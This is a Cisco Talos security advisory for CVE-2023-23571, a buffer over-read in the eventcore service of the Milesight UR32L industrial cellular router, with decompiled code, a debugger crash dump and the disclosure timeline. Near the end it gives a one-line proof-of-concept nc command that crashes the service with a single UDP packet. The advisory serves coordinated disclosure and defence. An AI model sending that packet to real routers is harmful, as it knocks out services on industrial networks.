Headline
CVE-2023-23571: TALOS-2023-1696 || Cisco Talos Intelligence Group
An access violation vulnerability exists in the eventcore functionality of Milesight UR32L v32.3.0.5. A specially crafted network request can lead to denial of service. An attacker can send a network request to trigger this vulnerability.
SUMMARY
An access violation vulnerability exists in the eventcore functionality of Milesight UR32L v32.3.0.5. A specially crafted network request can lead to denial of service. An attacker can send a network request to trigger this vulnerability.
CONFIRMED VULNERABLE VERSIONS
The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.
Milesight UR32L v32.3.0.5
PRODUCT URLS
UR32L - https://www.milesight-iot.com/cellular/router/ur32l/
CVSSv3 SCORE
8.2 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H
CWE
CWE-126 - Buffer Over-read
DETAILS
The Milesight UR32L is an industrial cellular router. The router features include support for multiple VPNs, a router console shell, firewall and many others.
The router can be set up to trigger an action after a particular event occurs. For instance, it is possible to send an e-mail or an SMS after a device reboots. Other actions and events exist. The binary that actually performs the action, after a particular event occurs, is eventcore.
The eventcore binary has a thread that waits for data that seems to be used to query the SQLite3 database used to archive the various event-related information. Following the recv_data_thread function that manages the reception of the data:
undefined4 recv_data_thread(int *socket)
{
[... variable declaration ...]
[... variable initialization ...]
memset(chunk_buff + 4,0,0x1fc);
[... variable initialization ...]
if (socket == (int *)0x0) {
syslog(3,"param is null\n");
}
else {
socket_ = *socket;
if (socket_ < 1) {
syslog(3,"udp fd less than 0.\n");
}
else {
message = (char *)malloc_and_memset(0x800);
if (message != (char *)0x0) {
memset(message,0,0x800);
do {
while( true ) {
memset(chunk_buff,0,0x200);
message_strlen = strlen(message);
recv_length = recv_wrap(socket_,chunk_buff,0x1ff,&src_addr); [1]
if ((chunk_buff[0] == '\0') || (recv_length != 0x1ff)) break;
memcpy(message + message_strlen,chunk_buff,0x800 - message_strlen); [2]
}
[...]
}
}
[...]
}
The function executes a loop where it received at most 0x1ff bytes into the chunk_buff buffer, then the content of the chunk_buff is appended into the message buffer.
The chunk_buff buffer is correctly sized with 512 bytes available, so the read at [1] is correct. At [2] the memcpy copies the size 0x800 - message_strlen from chunk_buff into message. So, the first memcpy will copy 0x800 bytes from a buffer of 0x1ff bytes. This leads to a buffer over-read. Furthermore, the thread starts with a fresh stack, which implies that the stack buffer chunk_buff is close to end of the stack and a buffer over-read will cause a SIGSEGV.
Debugging the process, it is easy to understand this problem:
memcpy@plt (
$r0 = 0x00043730 → 0x00000000,
$r1 = 0x76de4b0c → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]",
$r2 = 0x00000800,
) The `$r2` register contains the address of the `chunk_buff` buffer; in this case, it is `0x76de4b0c`. Following the thread stack region and the region adjacent:
0x76bf0000 0x76de5000 0x00000000 rw-
0x76de5000 0x76de6000 0x00000000 ---
The bytes between chunk_buff, at 0x76de4b0c, and the end of thread’s stack region, at 0x76de5000, is 0x4f4 bytes. So, reading 0x800 bytes from chunk_buff implies it will try to access outside the stack region.
Crash Information
Thread 5 "eventcore" received signal SIGSEGV, Segmentation fault.
0x76f3d540 in memcpy () from target:/lib/ld-musl-armhf.so.1
[ Legend: Modified register | Code | Heap | Stack | String ]
──── registers ────
$r0 : 0x76ef2a20 → 0x00000000
$r1 : 0x76d67ffc → 0x00000000
$r2 : 0x2f0
$r3 : 0x10
$r4 : 0x0
$r5 : 0x0
$r6 : 0x0
$r7 : 0x0
$r8 : 0x0
$r9 : 0x0
$r10 : 0x0
$r11 : 0x0
$r12 : 0x0
$sp : 0x76d67ac8 → 0x76f417ac → ldr r3, [r0, #140] ; 0x8c
$lr : 0x00012e7c → 0xea000034 ("4"?)
$pc : 0x76f3d540 → <memcpy+140> ldm r1!, {r4, r5, r6, r7, r8, r9, r10, r11}
$cpsr: [negative zero CARRY overflow interrupt fast thumb]
──── stack ────
0x76d67ac8│+0x0000: 0x76f417ac → ldr r3, [r0, #140] ; 0x8c ← $sp
0x76d67acc│+0x0004: 0x76d67d44 → 0x76d67d44 → [loop detected]
0x76d67ad0│+0x0008: 0x00000078 ("x"?)
0x76d67ad4│+0x000c: 0x7eac7d34 → 0x00000000
0x76d67ad8│+0x0010: 0x76f68540 → 0x00000000
0x76d67adc│+0x0014: 0x76d67d44 → 0x76d67d44 → [loop detected]
0x76d67ae0│+0x0018: 0x76d67d24 → 0x76f41830 → bl 0x76f41628 <pthread_exit>
0x76d67ae4│+0x001c: 0x76ef2530 → "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA[...]"
──── code:arm:ARM ────
0x76f3d534 <memcpy+128> sub r2, r2, r3
0x76f3d538 <memcpy+132> subs r2, r2, #32
0x76f3d53c <memcpy+136> bcc 0x76f3d554 <memcpy+160>
→ 0x76f3d540 <memcpy+140> ldm r1!, {r4, r5, r6, r7, r8, r9, r10, r11}
0x76f3d544 <memcpy+144> subs r2, r2, #32
0x76f3d548 <memcpy+148> stmia r0!, {r4, r5, r6, r7, r8, r9, r10, r11}
0x76f3d54c <memcpy+152> bcs 0x76f3d540 <memcpy+140>
0x76f3d550 <memcpy+156> add r2, r2, #32
0x76f3d554 <memcpy+160> tst r2, #31
──── threads ────
[#0] Id 1, Name: "eventcore", stopped 0x76f40174 in __clone (), reason: SIGSEGV
[#1] Id 2, Name: "eventcore", stopped 0x76f40174 in __clone (), reason: SIGSEGV
[#2] Id 3, Name: "eventcore", stopped 0x76f40174 in __clone (), reason: SIGSEGV
[#3] Id 4, Name: "eventcore", stopped 0x76f40174 in __clone (), reason: SIGSEGV
[#4] Id 5, Name: "eventcore", stopped 0x76f3d540 in memcpy (), reason: SIGSEGV
──── trace ────
[#0] 0x76f3d540 → memcpy()
[#1] 0x12e7c → b 0x12f54
Exploit Proof of Concept
Executing the following bash command will result in the crash of the eventcore binary:
echo `python -c "print('A'*0x1ff)"` | nc -u <ROUTER_IP> 9001
VENDOR RESPONSE
Since the maintainer of this software did not release a patch during the 90 day window specified in our policy, we have now decided to release the information regarding this vulnerability, to make users of the software aware of this problem. See Cisco’s Coordinated Vulnerability Disclosure Policy for more information: https://tools.cisco.com/security/center/resources/vendor_vulnerability_policy.html
TIMELINE
2023-02-14 - Initial Vendor Contact
2023-02-21 - Vendor Disclosure
2023-07-06 - Public Release
Discovered by Francesco Benvenuto of Cisco Talos.
Related news
Given the privileged position these devices occupy on the networks they serve, they are prime targets for attackers, so their security posture is of paramount importance.
In all, Cisco Talos is releasing 22 security advisories today, nine of which have a CVSS score greater than 8, associated with 69 CVEs.